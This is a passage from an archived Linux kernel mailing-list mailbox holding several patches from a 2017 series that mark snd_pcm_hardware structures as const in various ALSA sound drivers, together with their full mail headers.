        by smtp.gmail.com with ESMTPSA id n11sm5253674pgr.76.2017.08.17.02.16.40
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:16:45 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:46:38 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550885 gmane.linux.alsa.devel:170780 gmane.linux.ports.parisc:27681 gmane.linux.ports.ppc64.devel:146497
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550885>

Make this const as it is only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/atmel/ac97c.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/atmel/ac97c.c b/sound/atmel/ac97c.c
index 52b0522..f3f582e 100644
--- a/sound/atmel/ac97c.c
+++ b/sound/atmel/ac97c.c
@@ -66,7 +66,7 @@ struct atmel_ac97c {
 #define ac97c_readl(chip, reg)				\
 	__raw_readl((chip)->regs + AC97C_##reg)
 
-static struct snd_pcm_hardware atmel_ac97c_hw = {
+static const struct snd_pcm_hardware atmel_ac97c_hw = {
 	.info			= (SNDRV_PCM_INFO_MMAP
 				  | SNDRV_PCM_INFO_MMAP_VALID
 				  | SNDRV_PCM_INFO_INTERLEAVED
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 03/12] ALSA: drivers: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:51 +0530
Lines: 99
Approved: news@gmane.org
Message-ID: <1502961360-22063-4-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961430 29271 195.159.176.226 (17 Aug 2017 09:17:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:17:10 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:17:00 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGv6-0006hp-HI
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:16:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752185AbdHQJQ5 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:16:57 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:38663 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750959AbdHQJQz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:16:55 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id 123so8900827pga.5;
        Thu, 17 Aug 2017 02:16:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=OiNMlnQB8VGQjohFJnPAFnU5AP88BYqvWh/8rHE0euA=;
        b=Iz1W3z6/FwxEOUSn0LzyaFsak8PWtsgQEbr1RgMz5/OyMcetOTnq/2ez9j0FdGC4fq
         tgMBGtOnoqnhKbN/zxxk0DWue7RnR+QxKGtuuLAIc57Lh6zTiq3BAipeJXCu0rRJ2zbB
         83tblxYFQ0fQZn5gnLqAMaiipTMnEfmqvZngHufNmT7vTeEAQAf0ADd5o+DO332B07jg
         WWcsHqIf7ItesgPBVld1k4t6UBr51zwlXHWrCp5R4K2mZar/IxnJIsRvRihKoAa5k0Hu
         sL+KdF1LNXILhgf6tTOj+6lAMLQpHroXfe0EU5ltEQFWnbb02QCgJk3AxugDm9kXDdm5
         Kkug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=OiNMlnQB8VGQjohFJnPAFnU5AP88BYqvWh/8rHE0euA=;
        b=aboWBo2anArGiQR6kRiHRFiRk8OAiYnL1sD2lT3Uziqt67pJUpCAI1YeccwCarJ8xd
         gaVJGZQcwilnXBC2K6+kd4PtZGOsS4rlZNWNdNA8k8jA4mnzYSIy20TTiV//yf+VEMMm
         iHIPuJyB1w/eOnTM/c24gUOmypCnRjFdS3nBcy0J/fPfUjyy25m5K2zOiMJWTDrrPm8m
         hWTbWMBD0L9B6+E+tfHYsFGQd3fGWBBwVeMeKNQ0Pfc9Fjy4pxrbCAfM6oQWqusDTyWN
         hMlExyQaYVIszeUhHlr8NXTqSLoqde48ZMwOTnCzzfhGpakynqspIJsADOy69BbIaN0x
         UNSA==
X-Gm-Message-State: AHYfb5igQtOv4BOdd3FGTZfS7yK5BPg+mFBewRHxokdjDOAze4jayDie
        gd6Ic/5waZ1Q8A==
X-Received: by 10.98.134.198 with SMTP id x189mr683053pfd.129.1502961414639;
        Thu, 17 Aug 2017 02:16:54 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id v78sm6623664pfd.121.2017.08.17.02.16.49
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:16:54 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:46:46 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550886 gmane.linux.alsa.devel:170781 gmane.linux.ports.parisc:27682 gmane.linux.ports.ppc64.devel:146498
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550886>

Make these const as they are only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/drivers/aloop.c         | 2 +-
 sound/drivers/dummy.c         | 2 +-
 sound/drivers/ml403-ac97cr.c  | 4 ++--
 sound/drivers/pcsp/pcsp_lib.c | 2 +-
 sound/drivers/vx/vx_pcm.c     | 4 ++--
 5 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/sound/drivers/aloop.c b/sound/drivers/aloop.c
index 54f348a..6e02ee0 100644
--- a/sound/drivers/aloop.c
+++ b/sound/drivers/aloop.c
@@ -561,7 +561,7 @@ static snd_pcm_uframes_t loopback_pointer(struct snd_pcm_substream *substream)
 	return bytes_to_frames(runtime, pos);
 }
 
-static struct snd_pcm_hardware loopback_pcm_hardware =
+static const struct snd_pcm_hardware loopback_pcm_hardware =
 {
 	.info =		(SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_MMAP |
 			 SNDRV_PCM_INFO_MMAP_VALID | SNDRV_PCM_INFO_PAUSE |
diff --git a/sound/drivers/dummy.c b/sound/drivers/dummy.c
index dd5ed03..c0939a0 100644
--- a/sound/drivers/dummy.c
+++ b/sound/drivers/dummy.c
@@ -520,7 +520,7 @@ static snd_pcm_uframes_t dummy_pcm_pointer(struct snd_pcm_substream *substream)
 	return get_dummy_ops(substream)->pointer(substream);
 }
 
-static struct snd_pcm_hardware dummy_pcm_hardware = {
+static const struct snd_pcm_hardware dummy_pcm_hardware = {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_RESUME |
diff --git a/sound/drivers/ml403-ac97cr.c b/sound/drivers/ml403-ac97cr.c
index bdcb572..d634e10 100644
--- a/sound/drivers/ml403-ac97cr.c
+++ b/sound/drivers/ml403-ac97cr.c
@@ -373,7 +373,7 @@ struct snd_ml403_ac97cr {
 	struct snd_pcm_indirect2 capture_ind2_rec;
 };
 
-static struct snd_pcm_hardware snd_ml403_ac97cr_playback = {
+static const struct snd_pcm_hardware snd_ml403_ac97cr_playback = {
 	.info =	            (SNDRV_PCM_INFO_MMAP |
 			     SNDRV_PCM_INFO_INTERLEAVED |
 			     SNDRV_PCM_INFO_MMAP_VALID),
@@ -392,7 +392,7 @@ struct snd_ml403_ac97cr {
 	.fifo_size =	    0,
 };
 
-static struct snd_pcm_hardware snd_ml403_ac97cr_capture = {
+static const struct snd_pcm_hardware snd_ml403_ac97cr_capture = {
 	.info =	            (SNDRV_PCM_INFO_MMAP |
 			     SNDRV_PCM_INFO_INTERLEAVED |
 			     SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/drivers/pcsp/pcsp_lib.c b/sound/drivers/pcsp/pcsp_lib.c
index 44b3632..2f5a35f 100644
--- a/sound/drivers/pcsp/pcsp_lib.c
+++ b/sound/drivers/pcsp/pcsp_lib.c
@@ -285,7 +285,7 @@ static snd_pcm_uframes_t snd_pcsp_playback_pointer(struct snd_pcm_substream
 	return bytes_to_frames(substream->runtime, pos);
 }
 
-static struct snd_pcm_hardware snd_pcsp_playback = {
+static const struct snd_pcm_hardware snd_pcsp_playback = {
 	.info = (SNDRV_PCM_INFO_INTERLEAVED |
 		 SNDRV_PCM_INFO_HALF_DUPLEX |
 		 SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/drivers/vx/vx_pcm.c b/sound/drivers/vx/vx_pcm.c
index d318a33..380a028 100644
--- a/sound/drivers/vx/vx_pcm.c
+++ b/sound/drivers/vx/vx_pcm.c
@@ -500,7 +500,7 @@ static int vx_stop_stream(struct vx_core *chip, struct vx_pipe *pipe)
  * playback hw information
  */
 
-static struct snd_pcm_hardware vx_pcm_playback_hw = {
+static const struct snd_pcm_hardware vx_pcm_playback_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_MMAP_VALID /*|*/
 				 /*SNDRV_PCM_INFO_RESUME*/),
@@ -891,7 +891,7 @@ static int vx_pcm_prepare(struct snd_pcm_substream *subs)
  * playback hw information
  */
 
-static struct snd_pcm_hardware vx_pcm_capture_hw = {
+static const struct snd_pcm_hardware vx_pcm_capture_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_MMAP_VALID /*|*/
 				 /*SNDRV_PCM_INFO_RESUME*/),
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 07/12] ALSA: pcmcia: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:55 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502961360-22063-8-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961453 1151 195.159.176.226 (17 Aug 2017 09:17:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:17:33 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:17:29 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGvg-0008ST-1K
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:17:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752500AbdHQJRd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:17:33 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:37932 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752403AbdHQJRa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:17:30 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id 123so8903113pga.5;
        Thu, 17 Aug 2017 02:17:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=tMXUCghQS1qP66ih8u90iSEA2dwc1YjnVIr7TcMf9tk=;
        b=KqFdY6eb6ovVC2KVD9EAxsTX7G4zAgjufOVDGFNtGvFhZCJJuK/lvVfBm/vcn/UVRf
         z6xWLWcUWWgxQx6hcCP3VZKJuaoBkeOWiuoQ1yQgpy6Nwe+MXKyCAapR+yVsp7DUV0J/
         Mc5sdAyhxlZbCzImXTx6WB+lSkZD68o8Yiqf8cyaZN299Tgx9dvI0s4uiMcqmEx+BAVJ
         4kOht//aFNSQHRyQQ3UxIkCESd8WyHbfA3EIxNGZ2lks37QIFzdWNrrCsp2zz2MvEN2O
         dAm1MLCdNl/CTNJ73FC6FLwZdn89/UGInb34AFvAvfg6KU7atOT+5smoEmAIWSR8MzTg
         l2yg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=tMXUCghQS1qP66ih8u90iSEA2dwc1YjnVIr7TcMf9tk=;
        b=b7FPxVQUnQVGSL3dTPdKdypDpKLz5++8aLdcl+bAdKT7gVq4siJLYGaCsZ3MdkEUWv
         YOyuPeL+IOUY49VIm8TpsMIE4gu/Te+Qxn71chpVvE6fZQkwWhITokM6U7zWgJ82b/De
         ttAiKfI/UgTXJov7GmLrDaW1LaFwopzVaacbLO+svhkj39T4FHgf0SbaMr3d2dihK5h7
         GIWPZZLMKMvltBQDCenF0/Bcos4vruexDuD22QfnkO8TA/hSKSFn6k5PzEajArED8Ohm
         axKc3FxyN2Qhb9eHS/ZqejummyStrr7zo23nIy7oXNyFzqNiVKw5fv7ojiA77c0z/rDN
         Eaow==
X-Gm-Message-State: AHYfb5h+Ea5pqPNntSnP3Lw1IQnHqR6JK49StmiuDnrAS1kj7MG+T3vg
        jJczORSJ95qqYg==
X-Received: by 10.99.175.72 with SMTP id s8mr4293377pgo.406.1502961449644;
        Thu, 17 Aug 2017 02:17:29 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id p81sm1035647pfl.23.2017.08.17.02.17.24
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:17:29 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:47:21 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550890 gmane.linux.alsa.devel:170782 gmane.linux.ports.parisc:27683 gmane.linux.ports.ppc64.devel:146499
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550890>

Make this const as it is only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pcmcia/pdaudiocf/pdaudiocf_pcm.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/pcmcia/pdaudiocf/pdaudiocf_pcm.c b/sound/pcmcia/pdaudiocf/pdaudiocf_pcm.c
index b48aa0a..d788409 100644
--- a/sound/pcmcia/pdaudiocf/pdaudiocf_pcm.c
+++ b/sound/pcmcia/pdaudiocf/pdaudiocf_pcm.c
@@ -193,7 +193,7 @@ static int pdacf_pcm_prepare(struct snd_pcm_substream *subs)
  * capture hw information
  */
 
-static struct snd_pcm_hardware pdacf_pcm_capture_hw = {
+static const struct snd_pcm_hardware pdacf_pcm_capture_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_RESUME |
 				 SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 06/12] ALSA: pci: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:54 +0530
Lines: 52
Approved: news@gmane.org
Message-ID: <1502961360-22063-7-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961455 1459 195.159.176.226 (17 Aug 2017 09:17:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:17:35 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:17:27 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGvY-00084p-SX
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:17:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752443AbdHQJRZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:17:25 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:35650 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752378AbdHQJRV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:17:21 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id t80so2789992pgb.2;
        Thu, 17 Aug 2017 02:17:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=TmOvUxlRJjJezz2CuDaXXYLa1kE7wDpkgI/q4lxcOXg=;
        b=Ae8x68CY0at+PgGeLpcePIZwdvw7ZEXuvIGmk1B5Cg1rNYvCA3Hh/RN+D6pNtoT05O
         bGGrGV/ajaFCLi9MwZFwNd/4hsI4z/537q4szkhCWwh0iWhoUiOy3TyVK7QhMd4KvroQ
         l9DPcV+dRVZwYK/wpIAAK0UkHFIj8ELW2JPNppkEtBFPGg8yRKhRXMH18KB//VcotLE+
         FxDhKXrhPRdp3nuXnpMyupGSNM5US08FziBkbJRx/IaoM7l3V9gK1pqCmJHbkrZ04mtR
         kAj9Ig0b/R7X8yUsRF5POBX7M+TV6okRLdHB4wErF9MFoROM4cbhqdLwT5xkTu0/pOcp
         VsZg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=TmOvUxlRJjJezz2CuDaXXYLa1kE7wDpkgI/q4lxcOXg=;
        b=dvl6dnPte9uMXj8OczG9JjqoYAzhv41qWfJO77Bsty1rpypIlYX5LkMz7MrGjS8Nqu
         6iN3Ucev52ye1oZA/iqYT1bN2Pf1a1d9mjt1uYjNEUmAZpeM2AcmCVI1EvZz+dccgxOz
         M9zkP/lkXMOREnyJGHSTaTpywSj2XMakdNmZCens2ozdzAY1H+1hKMK1lNAd+CCw3mIm
         crp//ir39QjW/yjDMo5+Zi/rZ1GXjGeiGoEb8rltZNLFrG5RqwmefbFENU58mW/N1ZEM
         ppYVEhQTcemwP8zyFNb9SpiF7O2RMknS7uhj8abMf5wy+qtm2ULiu/pPU5q2UQn4+XgD
         +c0g==
X-Gm-Message-State: AHYfb5hBjMavTiQkwqBtITDbpuhZeoJT3Lu8Q3AK7cYlx/7OKDu/U8F2
        I3+5Ak3+EFaEZA==
X-Received: by 10.84.129.13 with SMTP id 13mr5189273plb.467.1502961440853;
        Thu, 17 Aug 2017 02:17:20 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id q21sm6605384pfj.126.2017.08.17.02.17.14
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:17:19 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:47:12 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550891 gmane.linux.alsa.devel:170783 gmane.linux.ports.parisc:27684 gmane.linux.ports.ppc64.devel:146500
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550891>

Make these const as they are only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/au88x0/au88x0_pcm.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/sound/pci/au88x0/au88x0_pcm.c b/sound/pci/au88x0/au88x0_pcm.c
index 848eb3c..53714e0 100644
--- a/sound/pci/au88x0/au88x0_pcm.c
+++ b/sound/pci/au88x0/au88x0_pcm.c
@@ -30,7 +30,7 @@
 #define VORTEX_PCM_TYPE(x) (x->name[40])
 
 /* hardware definition */
-static struct snd_pcm_hardware snd_vortex_playback_hw_adb = {
+static const struct snd_pcm_hardware snd_vortex_playback_hw_adb = {
 	.info =
 	    (SNDRV_PCM_INFO_MMAP | /* SNDRV_PCM_INFO_RESUME | */
 	     SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_INTERLEAVED |
@@ -51,7 +51,7 @@
 };
 
 #ifndef CHIP_AU8820
-static struct snd_pcm_hardware snd_vortex_playback_hw_a3d = {
+static const struct snd_pcm_hardware snd_vortex_playback_hw_a3d = {
 	.info =
 	    (SNDRV_PCM_INFO_MMAP | /* SNDRV_PCM_INFO_RESUME | */
 	     SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_INTERLEAVED |
@@ -71,7 +71,7 @@
 	.periods_max = 64,
 };
 #endif
-static struct snd_pcm_hardware snd_vortex_playback_hw_spdif = {
+static const struct snd_pcm_hardware snd_vortex_playback_hw_spdif = {
 	.info =
 	    (SNDRV_PCM_INFO_MMAP | /* SNDRV_PCM_INFO_RESUME | */
 	     SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_INTERLEAVED |
@@ -94,7 +94,7 @@
 };
 
 #ifndef CHIP_AU8810
-static struct snd_pcm_hardware snd_vortex_playback_hw_wt = {
+static const struct snd_pcm_hardware snd_vortex_playback_hw_wt = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_INTERLEAVED |
 		 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_MMAP_VALID),
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/12] ALSA: ppc: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:56 +0530
Lines: 38
Approved: news@gmane.org
Message-ID: <1502961360-22063-9-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961464 3365 195.159.176.226 (17 Aug 2017 09:17:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:17:44 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 11:17:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1diGvm-0008ST-2k
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 11:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752510AbdHQJRk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Aug 2017 05:17:40 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:38001 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752450AbdHQJRi (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Aug 2017 05:17:38 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id 123so8903603pga.5;
        Thu, 17 Aug 2017 02:17:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=i06pI2YtEEidOjxy445dNQwFzg1YFwK5+BzT91sxmys=;
        b=Tt3J/E4dIBqIC+vouQ6hE2p4TmvyAcWFNed1FVqwMlStoZAhO8YhrenlKGWFlM2osf
         RQhly7fM3j6dj8UJte2mWnbMJrB6ZaJqPCxqA4Hnqk+7D+0RtEyL9DD1VEW8GLE88wxB
         FHT642167u7KNBF7wRI0XgWjWET7IAvAsAI/V2FK9ldyRc7Nk7n7Z9WOSMiRydtBF4Dd
         vov+LJvefmeM4A7xH5jeFU2SBL3lef96M1hng9aDkh1BwPOvIe96ILwmPoeTqyoiZ840
         H3y0ug5PwMElk0jQ3D8B7bXbFrrHqsgiF4QH6hYijCATr4/KczGAPsS7y25k+JoHDkSv
         msPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=i06pI2YtEEidOjxy445dNQwFzg1YFwK5+BzT91sxmys=;
